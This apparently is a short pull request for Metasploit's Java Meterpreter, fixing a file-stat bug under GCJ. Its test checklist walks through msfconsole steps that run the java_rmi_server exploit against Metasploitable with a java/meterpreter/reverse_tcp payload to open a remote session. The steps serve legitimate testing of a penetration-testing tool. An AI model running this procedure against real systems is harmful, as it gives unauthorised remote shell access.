Fix stat when isHidden() is broken

[jlee-r7]

Works around a bug in GCJ

Verification

• [x] build (mvn -P deploy package or see README )
• [x] get a java meterpreter session on GCJ. Easiest way is java_rmi against Metasploitable
  • [x] msfconsole
  • [x] use exploit/multi/misc/java_rmi_server
  • [x] set options
  • [x] set PAYLOAD java/meterpreter/reverse_tcp
  • [x] run
  • [x] VERIFY gets a session
• [x] type ls
• [x] VERIFY You see output that looks like what you'd expect from a file listing on a linux machine starting at /
